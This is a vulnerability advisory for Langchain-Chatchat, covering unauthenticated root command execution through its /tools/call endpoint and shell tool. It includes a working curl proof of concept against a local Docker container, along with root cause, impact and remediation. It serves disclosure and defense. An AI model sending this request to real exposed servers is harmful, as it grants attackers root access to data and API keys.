Overview

Langchain-Chatchat is an open-source RAG and agent application for local knowledge bases, built on LangChain and models such as ChatGLM, Qwen and Llama. Its API server requires no authentication and listens on all network interfaces by default.

The POST /tools/call endpoint invokes any registered tool by name and ignores the per-tool "use" flag that is meant to keep dangerous tools away from the agent. A shell tool is always registered, so a single unauthenticated request naming it runs an operating system command on the server, as root in the shipped Docker

Because anyone who can reach a Langchain-Chatchat API server can run operating system commands as root with a single unauthenticated request, with no credentials and no user interaction, exposed deployments should be taken off the network or put behind authentication immediately.

‍

Affected Product

chatchat-space/Langchain-Chatchat

‍

Affected Files

• api_server/tool_routes.py: POST /tools/call calls get_tool(name) then await tool.ainvoke(tool_input) with no authentication, allow list, or use flag check.
• server/utils.py: get_tool() (~L960 to L973) returns _TOOLS_REGISTRY directly; the use flag only gates the agent's tool list, not /tools/call.
• tools_factory/__init__.py (L6): always imports the shell tool.
• tools_factory/shell.py: wraps ShellTool().run(query).
• settings.py: DEFAULT_BIND_HOST="0.0.0.0"; API on 0.0.0.0:7861.

‍

Root Cause

The API server requires no authentication, binds 0.0.0.0 by default, and the shipped docker-compose uses network_mode: host. POST /tools/call resolves a tool by name from the global tool registry and invokes it without honoring the per-tool use: false flag that is meant to keep tools such as shell, text2sql, and code_interpreter out of the agent's toolset.

‍

A shell tool wrapping langchain_community.tools.ShellTool is always registered and executes commands in process, so any party who can reach the API port can run arbitrary OS commands as the server process user.

‍

PoC

Self contained; API server only, no LLM or GPU needed.

1. Start the shipped image:

docker run -d --name cc -p 7861:7861 --entrypoint python chatimage/chatchat:0.3.1.3-93e2c87-20240829 -m uvicorn chatchat.server.api_server.server_app:app --host 0.0.0.0 --port 7861

‍

2.Confirm the shell tool is exposed despite use:

curl http://127.0.0.1:7861/tools

‍

3. Trigger RCE (unauthenticated), writing a marker file:

curl -X POST http://127.0.0.1:7861/tools/call -H 'Content-Type: application/json' -d '{"name":"shell","tool_input":{"query":"id > /tmp/PWNED"}}'

‍

4. Confirm execution via the marker. The endpoint returns HTTP 500 (a BaseToolOutput serialization error), but the command runs BEFORE serialization:

docker exec cc cat /tmp/PWNED 

‍

5. Teardown:

docker rm -f cc && docker rmi chatimage/chatchat:0.3.1.3-93e2c87-20240829

‍

Confirmed output: uid=0(root)

‍

Impact

An attacker who can reach the API port sends a single unauthenticated HTTP POST to /tools/call naming the shell tool with an OS command, and the command runs in the server process before the response is serialized. This yields remote code execution as the server user, which is root in the shipped image, with full read and write access to the application database, the FAISS vector store, all knowledge base files, and any configured model API keys.

‍

No credentials, prior access, or user interaction are required. This is not a multi tenant or cross tenant issue, as the project has no user or account model; it is missing authentication combined with a tool allow list bypass, reachable by default on a network exposed deployment.

‍

Suggested Remediation

1. Require authentication on the API, at minimum on /tools/call.

2. Bind 127.0.0.1 by default; require explicit opt in for network exposure.

3. Enforce the use allow list on /tools/call (do not invoke tools disabled for the agent).

4. Do not register a host shell tool by default; sandbox any code or command executing tool.

‍

Additional Resources

• CVE-2026-75128 record

‍